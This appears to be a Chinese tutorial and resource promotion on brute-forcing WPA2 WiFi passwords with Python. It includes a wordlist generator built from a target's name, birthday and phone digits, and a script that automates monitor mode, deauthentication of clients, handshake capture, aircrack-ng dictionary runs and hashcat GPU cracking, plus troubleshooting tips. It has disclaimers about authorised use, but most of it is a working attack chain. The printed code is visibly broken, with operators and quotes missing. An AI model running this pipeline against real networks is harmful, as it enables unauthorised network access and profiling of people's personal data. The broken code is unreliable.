Python暴力破解WiFi密码实战:从握手包捕获到字典攻击全解析 简介面向Python初学者与网络安全入门爱好者这是一份演示WiFi密码暴力破解原理的迷你项目资源。其核心思路极为通俗将一个包含八位数常用密码的字典文件逐条读取配合无线网卡搜索到的局域网目标按顺序尝试连接从而实现约1秒1次的快速探测特别适合理解穷举攻击在真实环境中的简易落地。包体非常轻量共3个文件包含两个Python脚本与一个txt字典文件分别承担核心连接逻辑、辅助调用与待测密码字典整体压缩后大小仅3KB解压即可阅读学习。目前该资源已有16474人学习浏览热度较高。通过这份代码读者能快速理解Python网络接口调用、文本文件读写以及简单循环与子进程操作等基础知识点也能掌握针对弱口令WiFi的测试思路但请务必在自有网络或授权环境下练习切勿用于非法用途。1. 先把话说清Python暴力破解WiFi密码到底在破什么在动手之前有一个误区必须先摆正平时搜到的“python暴力破解wifi密码”真正要破的不是路由器管理后台的登录密码而是WPA2-PSK这种无线加密方式里的握手包。攻击者把目标AP和客户端之间的一次合法连接过程抓下来再用大量候选密码逐个去试看哪一个能通过校验。Python在这条链路里不是负责算力的角色用Python直接去做PBKDF2密钥校验比C语言慢几个数量级真正干活的是aircrack-ng这类专用工具Python负责生成字典、调度命令、解析结果。所以你在网上看到的“Python破解WiFi密码”基本都是一套组合拳Python写字典生成器按目标路由器的命名习惯、主人信息、常见弱口令批量生成候选词再用subprocess把这些词喂给aircrack-ng或hashcat做离线校验。把预期摆正之后后面每一步才不会白做。下面按一次可复现的流程给你讲透适合会基本Python语法、想搞懂这条链路的人也适合想给自己家路由器做弱口令排查的开发者。先把这里说清楚整篇文章讨论的是自己的设备或已获授权的测试环境直接拿这套东西去碰别人的路由器既越界也没有必要。2. 握手包、字典攻击与Python的责任边界新手最容易搞错的三件事2.1 四次握手与PBKDF2暴力破解真正在算的东西WPA2-PSK的工作过程可以简化成一句话密码从来不会在网络里明文传输它只是用来生成密钥的原材料。客户端连接路由器时双方会执行四次握手交换随机数Nonce、MAC地址等信息最后算出一个用于加密通信的PTKPTK的一部分会作为MIC校验消息完整性。攻击者真正想拿到的是这个握手过程因为在握手包里包含了两个Nonce、AP的MAC、客户端的MAC、以及最后那个MIC值。离线破解做的事并不复杂对每一个候选密码重复一次与握手时相同的计算链路也就是用候选密码加SSID做4096次HMAC-SHA1迭代得到PMK再结合包里的Nonce和MAC算PTK最后比一比算出来的MIC和握手包里带的MIC是否一致。一致就说明这个候选密码就是原密码。正是“4096次HMAC-SHA1迭代”这个设计让WPA2密码变成了一块嚼不烂的硬骨头。每一次候选尝试都要做几万次哈希运算Python跑这个循环会慢到你怀疑机器死机。所以行业里没人会写Python做这句话里的“暴力计算”而是把它交给在底层用C和汇编优化过的工具。Python真正适合做的是生成候选集和调度外部进程。这里顺手列一下握手包里会被用到的关键信息理解它们有助于你后面调试脚本握手包字段在破解中的作用ANONCE / SNONCEAP和客户端各自生成的随机数参与PTK计算AP MAC / Client MAC参与PTK计算也是锁定目标的标识MIC最终比对用的消息校验码EAPOL帧四次握手的载体airodump-ng靠它识别握手包别被这些名词吓住。实际做破解时你不需要自己去解析这些字段aircrack-ng会在后台处理但了解“密码是怎么被验证的”这一点决定了你怎么排查失败原因。2.2 Python在暴力破解里的真实位置管字典、管调度不直接算密钥我见过不少新手拿到Python环境就开始写循环对每个密码调用wifi库去尝试连接这种“在线暴力破解”在真实环境里几乎走不通。在线尝试每试一个密码客户端都要执行一次完整的扫描、认证、关联过程一次少说几百毫秒快一点的AP还会在连续失败十几次之后直接把你拉进黑名单几分钟内拒绝任何连接。加之路由器通常会加上重试延迟在线破解的速度优势完全不存在。离线破解的优势在于一次握手包可以无限次本地尝试。抓包可能只需要几十秒但之后你坐在电脑前跑一个晚上都没问题速率只取决于你的CPU或GPU。所以你在标题里看到的“Python暴力破解wifi密码”它的正确打开方式是Python生成候选字典Python调用aircrack-ngPython解析aircrack-ng的输出判断有没有命中。Python在整条链路里的价值是把那些需要反复手敲的命令封装成一段可复用脚本。比如抓包完成之后你可能需要先跑一遍小字典快速验证握手包是否有效再跑大字典过夜又比如你需要循环尝试多个信道检测目标AP到底在哪个频段。这些重复判断逻辑用Python写比人守在终端前盯着效率高得多。有人还会用Scapy库直接解析EAPOL帧自己实现握手包检测这样做能避开某些工具的坑但维护成本偏高。对于绝大多数需求我建议把Python放在“调度器”的位置没必要自己重新实现校验算法。2.3 环境准备网卡、Linux工具链与Python依赖的最小清单先泼一盆冷水你用来上网的笔记本内置无线网卡八成无法开启监听模式。暴力破解WPA2需要网卡进入monitor模式去捕获空中每一个无线数据帧而多数笔记本内置网卡在驱动层面屏蔽了这个能力。最靠谱的方案是外接一个基于常见无线网卡芯片的USB网卡这类网卡在Linux下驱动兼容性好能稳定开启监听价格也不高。买之前先做一次检查。# 查看无线网卡支持哪些工作模式 iw list | grep -A 10 Supported interface modes # 如果输出里有 monitor 字样说明这张卡可以做监听 # 否则建议换一张芯片方案成熟的USB网卡在基于Debian的发行版上工具链用一行命令就能准备好sudo apt update sudo apt install aircrack-ng hcxtools hashcat python3 --versionaircrack-ng套件里的airmon-ng用来开启监听模式airodump-ng用来扫描AP和抓包aireplay-ng用来向客户端发送解除认证的帧以触发重连aircrack-ng本身负责跑字典校验。hcxtools和hashcat是后手用于把抓到的包转成hashcat能直接处理的格式然后用GPU加速跑这一套我放到后面详细说。Python这边不需要额外安装第三方库只用标准库里的subprocess、argparse、itertools、re就够。别急着装那些看起来很酷的连接库先把最简链路跑通。3. 用Python生成一套“会思考”的密码字典组合规则与代码实现3.1 基于社工信息的字典生成脚本变量拼装、符号替换、规范化去重暴力破解WiFi密码这件事决定成败的往往不是算力而是字典质量。一亿个随机字符串和一千个按规律生成的候选词在真实目标面前后者的命中率常常更高。因为多数家用WiFi密码不是纯随机串而是姓名拼音、生日、电话号码、门牌号、英文单词的组合再加上一点符号替换。我写字典生成器时习惯把信息拆成几个维度姓名拼音、常用昵称、生日数字、手机尾号、家庭门牌、宠物名字、路由器默认密码然后在这些词根上做有限变换。变换规则包括首字母大写、全大写、把字母替换成相似符号、词根加数字后缀、数字前缀、把词根从中间插入数字。用Python的set做去重避免同一个候选词生成多次浪费运行时间。#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse from itertools import product def variate_word(word: str) - set: 对单个词根做常见变换返回一个变体集合 chars {a: , o: 0, i: 1, e: 3, s: $} variants {word, word.lower(), word.upper(), word.capitalize()} for ch, rep in chars.items(): if ch in word: variants.add(word.replace(ch, rep)) variants.add(word.upper().replace(ch.upper(), rep)) return variants def build_dict(name: str, digits: list, roots: list) - list: 把词根和数字做拼接生成最终候选集 candidates set() for root in roots [name]: candidates | variate_word(root) base list(candidates) for w in base: for d in digits: candidates.add(w d) candidates.add(d w) mid len(w) // 2 candidates.add(w[:mid] d w[mid:]) candidates.add(w ! d) return sorted(candidates) if __name__ __main__: parser argparse.ArgumentParser(descriptionWiFi字典生成器) parser.add_argument(--name, defaultzhangsan, help姓名拼音词根) parser.add_argument(--digits, nargs, default[0520, 8888, 2024], help高频数字串如生日、门牌、手机尾号) parser.add_argument(--roots, nargs, default[wifi, home, admin], help弱口令常见词根) parser.add_argument(--out, defaultdict.txt, help输出字典文件名) args parser.parse_args() result build_dict(args.name, args.digits, args.roots) with open(args.out, w, encodingutf-8, newline\n) as f: f.write(\n.join(result) \n) print(f生成 {len(result)} 条候选写入 {args.out})这段代码的逻辑并不复杂但有几个细节值得展开说。variate_word函数先对词根做大小写和符号替换替换规则直接写在字典里你可以按目标用户习惯调整。build_dict函数负责组合数字后缀、前缀、中间插入三种模式基本覆盖了人类起密码的常见习惯。最后用encodingutf-8和newline\n写文件这两项在后面排错时特别关键Windows默认的GBK编码和CRLF行尾会让aircrack-ng读到的每一行都带上多余字符直接导致匹配失败。运行这个脚本只要一行命令。比如目标用户的姓名拼音是wangfang生日是1990手机尾号是6688再加几个常见弱口令词根python3 gen_dict.py --name wangfang --digits 1990 6688 0520 --roots wifi home admin --out wangfang.txt输出的wangfang.txt里会包含像Wifi1990、home6688、wangfang!1990这样的候选词。生成后先看一眼文件大小和行数如果结果里混着明显不该出现的组合说明替换规则写得太宽需要收紧。3.2 itertools纯暴力序列产量估算与一个现实的收敛策略如果完全不知道目标的任何信息就只能退到纯暴力序列。Python标准库里的itertools.product是生成这类序列最常用的工具但必须提前知道产量有多大否则生成的字典文件能把磁盘填满。import itertools import argparse def gen_numeric(length: int, out_path: str): 生成指定长度的纯数字序列逐行写文件避免内存爆炸 with open(out_path, w, encodingascii, newline\n) as f: for seq in itertools.product(0123456789, repeatlength): f.write(.join(seq) \n) if __name__ __main__: parser argparse.ArgumentParser() parser.add_argument(--length, typeint, default8) parser.add_argument(--out, defaultnums.txt) args parser.parse_args() gen_numeric(args.length, args.out)这段代码用生成器逐条写入文件而不是把所有序列撑到内存里否则8位纯数字的一亿条候选会直接吃掉几个GB内存。运行方式是这样python3 gen_numeric.py --length 8 --out nums_8.txt先看一下产量表纯暴力到底有多不现实候选集长度数量级意义纯数字8位1亿条CPU还能勉强跑完纯小写字母8位约2080亿条单机CPU基本不可能跑完小写数字8位约2.8万亿条需要GPU集群级别大小写数字符号8位超过6万亿条现实中没人会这么硬跑所以纯暴力在WPA2面前通常只用作兜底目标是一个8位纯数字密码时生成1亿条候选在主流CPU上跑几十分钟到一个小时这是现实生活中唯一有意义的暴力场景。一旦超过这个规模投入产出比急剧下降。更合理的策略是先用3.1那种社工字典把最容易中的密码试一遍再补一个6位纯数字的小暴力字典最后才考虑上8位纯数字。还有个容易被忽略的点商用路由器默认密码、弱口令Top100这类公开列表要放在字典的第一优先位置。用Python把这些列表读进来和你的定制词根做一次合并确保弱口令在最前面会显著缩短命中时间。aircrack-ng按字典顺序逐条试如果你把几万条定制词放前面跑完再轮到弱口令列表命中速度就被拖慢了几倍。4. 用Python调度完整破解流程从抓握手包到跑字典4.1 抓包、触发重连、跑字典的一体化脚本字典准备好了接下来要解决的是“抓到一个合法握手包”。这一步是整条链路里最容易卡住的环节。airodump-ng会持续监听选定信道上的无线流量当有客户端连接目标AP时它会把四次握手的EAPOL帧记录到cap文件里。如果目标AP旁边当前没有设备在连接你就需要主动触发一次重连。把这个流程封装进Python脚本好处是无需要求人在终端前一帧一帧盯脚本自己判断有没有抓到握手包没抓到就发deauth包再等一轮。下面是一个可用的骨架脚本你需要在运行前填好目标AP的信息。#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess import time import re import os IFACE wlan0 MON_IFACE wlan0mon BSSID aa:bb:cc:dd:ee:ff # 目标AP的MAC地址先用airodump扫描确认 CHANNEL 6 # 目标AP工作的信道 CLIENT None # 留空则自动从csv里找 DICT wangfang.txt # 上一步生成的字典 PREFIX /tmp/capture def run_cmd(cmd, timeout30): 执行shell命令并捕获输出超时防止挂死 result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue, timeouttimeout) return result.stdout, result.stderr # 1. 开启监听模式 run_cmd(fsudo airmon-ng start {IFACE}) # 2. 抓包60秒同时输出csv格式便于解析 run_cmd( fsudo airodump-ng --bssid {BSSID} -c {CHANNEL} f-w {PREFIX} --output-format csv,cap {MON_IFACE}, timeout60 ) # 3. 检查cap文件里有没有握手包 cap_file PREFIX -01.cap out, _ run_cmd(fsudo aircrack-ng {cap_file} | grep handshake) if 1 handshake not in out: print(未检测到握手包尝试触发客户端重连) csv_file PREFIX -01.csv if os.path.exists(csv_file): # 从csv里解析客户端MAC with open(csv_file, encodingutf-8) as f: for line in f: if BSSID in line and len(line.split(,)[0]) 17: CLIENT line.split(,)[0].strip() break if CLIENT: run_cmd(fsudo aireplay-ng -0 2 -a {BSSID} -c {CLIENT} {MON_IFACE}) else: run_cmd(fsudo aireplay-ng -0 2 -a {BSSID} {MON_IFACE}) # 再等30秒抓包 run_cmd( fsudo airodump-ng --bssid {BSSID} -c {CHANNEL} f-w {PREFIX} --output-format cap {MON_IFACE}, timeout30 ) # 4. 跑字典 out, _ run_cmd(fsudo aircrack-ng -w {DICT} -b {BSSID} {cap_file}) match re.search(rKEY FOUND!\s*\[\s*(.?)\s*\], out) if match: print(找到密码:, match.group(1)) else: print(字典未命中换字典或增大暴力范围)脚本里每个阶段都对应一个真实的子命令。airmon-ng start把物理网卡切换成监听模式接口名通常会变成wlan0monairodump-ng用--bssid锁定目标AP用-c锁定信道避免它在多个信道之间跳来跳去漏掉握手包aircrack-ng -w指定字典文件去离线校验。aireplay-ng -0 2向客户端发送2个解除认证的帧客户端收到后会主动重新连接AP重连过程就是抓握手包的黄金时机。这里有几个参数要留意deauth包数量不要发太多2到3个就够发多了反而可能把客户端彻底踢下线让它在原地干等你更久。-c CLIENT是指定某个客户端触发如果不指定就是对整个BSSID广播解除认证效率低一些但更省事。4.2 参数调优锁定信道、超时、循环次数与退出条件脚本跑通之后你很快会遇到需要手动调参的场景。WiFi环境是动态的客户端可能在抓包时离开AP可能在切换信道目标设备的无线网卡可能刚好休眠。这些情况都要求脚本具备一定的重试逻辑。抓包时长是最先要调的参数。airodump-ng跑30秒内抓不到握手包是常态我的习惯是先跑90秒没抓到再触发deauth重连。抓包时长与成功率正相关但也不能无限拉长否则后续字典跑完可能还没等到握手包。用timeout90作为默认值比60秒稳妥。信道锁定属于那种“不踩坑不知道”的细节。airodump-ng默认会在所有信道上轮巡每个信道停留约100毫秒这样虽然能看到周围所有AP但抓到握手包的概率很低。必须用-c锁定目标AP的工作信道把全部接收时间用在一个信道上。判断信道的方法是先用airodump-ng不带任何过滤条件扫描几十秒从列表里找到目标AP对应的CH列数值再填进脚本。循环次数也值得设计。脚本里deauth触发一次就够了如果两三轮之后依然抓不到握手包问题往往不在运气而在客户端根本不在线或者目标AP使用5GHz频段而你只监听了2.4GHz。这种情况下盲等脚本内循环没有意义应该停下来检查客户端列表。一个稳妥的做法是让脚本最多重试3轮每轮之间sleep 10秒给客户端恢复时间。# 单独查看当前是否有客户端在线建议在发deauth前手动跑一次 sudo airodump-ng --bssid aa:bb:cc:dd:ee:ff -c 6 wlan0mon看输出列表的STATION部分如果客户端MAC一直不出现说明周围没有设备关联到这个AP。直接关掉脚本换个时间段再测或者找一个离AP更近的位置增强信噪比。很多跑了一宿没出结果的情况根因就是抓包阶段压根没抓到握手包而不是字典不够好。5. Python暴力破解WiFi密码的踩坑记录现象、原因与解决5.1 网卡不支持监听买错设备的经典翻车现象airmon-ng start命令执行成功但iw dev里看不到wlan0mon接口或者airodump-ng启动后一直在报错说接口不支持monitor模式。原因这是硬件层面的限制很多笔记本内置无线网卡的驱动程序根本没有实现monitor模式的功能不管怎么操作都无法监听空中的数据帧。USB外接网卡同样存在芯片差异不同芯片方案在Linux下的兼容表现天差地别。解决换硬件是最直接的出路。选购前先查芯片型号优先选那些在Linux社区里被验证过能稳定开启monitor模式的老款芯片方案而不是只看价格和天线数量。拿到手后在目标机器上执行iw list确认输出里有monitor字样再做下一步。如果是虚拟机里跑这套流程还要确认USB设备已经直通到虚拟机里宿主机的无线网卡默认只对宿主机可见。5.2 抓不到握手包deauth触发失败与信道跳变现象airodump-ng界面的右上角一直不出现“WPA handshake”字样即便发了deauth包也毫无动静。有时明明看到客户端列表里有设备在通信但就是抓不到握手。原因最常见的是airodump-ng没有锁定信道网卡在多个信道间来回跳跃恰好在deauth之后客户端重连的那几秒钟网卡正在别的信道上监听错过了整个握手过程。第二种情况是deauth包被AP的防护机制过滤某些AP会在短时间内收到大量deauth帧后启动反制直接把客户端踢到更远的地方。解决先把信道锁死-c参数必须和AP实际工作信道一致。deauth包数量控制在1到3帧发完立刻盯住抓包界面。如果目标AP开启5GHz频段确保网卡支持5GHz监听并且把信道号填成对应的5GHz信道。还有一条血泪经验有些路由器是双频合一2.4GHz和5GHz用同一个SSID你抓的可能是2.4GHz的AP客户端却连在5GHz上。这种时候要分别监听两个频段或者从路由器后台关掉双频合一再测。5.3 字典跑完一个不中编码和换行符的黑匣子现象字典文件看起来完全正常里面明明确确有目标密码而且aircrack-ng跑完整个字典也没有报错结果就是一行“NOT FOUND”。这种问题最让人抓狂因为排查方向很难找。原因多数情况出在文件编码和行尾上。在Windows上用记事本编辑过的字典文件默认可能是GBK编码每行以CRLF结尾。aircrack-ng按字节读取字典每一行末尾都会带上一个\r字符导致哪怕文件内容里写了正确密码实际被校验的却是“密码\r”自然永远匹配不上。UTF-8的BOM头也是类似问题会附加在第一个词的前面。解决统一用Python生成字典写文件时显式指定encodingutf-8和newline\n。如果你手头有一个现成的字典文件不确定格式先用file命令看一眼file dict.txt # 期望输出ASCII text # 如果出现 with CRLF line terminators 就要做转换 sed -i s/\r$// dict.txt建议在跑大字典之前先做一个包含正确密码的3行小字典确认整条链路能命中再放开跑这样可以避免等了一晚上回头发现编码错了。5.4 在线破解被锁Python直连WiFi试密码的低效路径现象有人用Python里的无线接口库直接扫描目标WiFi逐个密码尝试连接试到十几次之后API开始报超时再往后连接请求直接被拒绝。原因在线模式每一次尝试都要重新关联一次尝试的耗时比离线校验高几个数量级。而且AP普遍有防暴力破解机制连续认证失败会导致客户端MAC被临时拉黑即使你后面拿到了正确密码也要等解禁才能连上。解决放弃在线尝试的念头把全部精力放在抓握手包上。离线破解不受AP防爆破策略限制一次握手包拿到手后想跑多久跑多久。如果目标AP一直抓不到握手包比如周围确实没有客户端在线更合理的做法是用PMKID攻击方式这在下一章会展开。在线破解只适合探测自己家AP是否存在弱口令而且要在控制节奏的前提下进行。5.5 抓到握手包但跑不出来WPA3混合模式下的无效劳动现象airodump-ng已经显示“WPA handshake”但aircrack-ng跑完整个字典都没有命中。检查cap文件发现握手包是抓到了目标AP广播的加密方式却是WPA2/WPA3混合模式。原因WPA3使用SAE握手与WPA2的四次握手完全不兼容。如果客户端连接时使用的是WPA3协议airodump-ng虽然能抓到一些EAPOL帧但那些帧里的信息不足以让aircrack-ng做离线校验。拿到一个看起来像握手包的文件实际上用的是WPA3素材这种包跑再多字典都是白费。解决先确认目标是否支持WPA2协议。用airodump-ng扫描时加密列会显示类似“WPA2”或“WPA2/WPA3”的信息。只有在纯WPA2模式下抓到的握手包才有破解价值。混合模式下可以尝试强制某个支持WPA2的旧设备连接蹭到一次WPA2握手但这已经进入更复杂的场景。在多数情况下遇到WPA3直接换个目标才是性价比最高的决定。6. 把暴力破解真正跑起来hashcat接力与PMKID验证法6.1 为什么hashcat比aircrack-ng快把校验交给显卡aircrack-ng的CPU校验速度已经能满足中小字典的使用但如果你要跑8位纯数字甚至更大的候选集CPU就撑不住了。hashcat的优势在于它能把PBKDF2运算搬到GPU上跑WPA2的速度比CPU快一个数量级以上。先把抓到的cap文件转成hashcat能直接读取的格式# 用hcxtools转换输出的是hashcat 22000模式文件 hcxpcapngtool capture-01.cap -o handshake.hc22000 # 再用hashcat跑字典-m 22000对应WPA2握手包 hashcat -m 22000 handshake.hc22000 wangfang.txt -O -w 3参数说明-m 22000是当前hashcat统一的WPA2握手包模式老版本里还能见到2500等模式号现在基本都归一到22000。-O开启优化内核-w 3设置工作负载为高性能档位这个参数决定GPU占用率和功耗跑长任务时按显卡散热情况调整。hashcat跑出来的结果会存在potfile里下次再跑同样目标直接秒出不需要重复计算。6.2 一个稳妥的自测方法在自己家搭一个测试AP验证全链路在开始任何正式测试之前我强烈建议你花半小时做一次全链路自测。找一台旧路由器把SSID设置成test-home密码设置成字典里肯定会出现的弱口令比如Test2024。然后用手头的网卡完成一次完整的抓包、转格式、跑字典流程。验证标准很简单airodump-ng能抓到握手包hashcat能在一分钟内跑出密码。如果这两步都通过说明你的网卡、驱动、工具链、字典脚本全线是通的之后无论遇到什么问题至少可以排除环境因素。很多买到网卡后第一次尝试就跑不出结果的人其实不是方法错而是链路里某个环节没有被单独验证过。先在小范围闭环里确认再谈效率优化。我自己的习惯是永远在测试AP上先跑一把通过之后再切到目标环境。这套东西做久了你会发现WiFi破解真正的技术密度不在“跑”这个动作上而在于你对无线协议、目标习惯和工具链细节的理解。手里有一张能用的网卡一套能生成高质量字典的Python脚本一条能自动调度抓包和解密的流程就已经超过大多数只会复制命令的人。把测试边界守住先把自家环境吃透比什么都重要。希望帮到你。本文还有配套的精品资源点击获取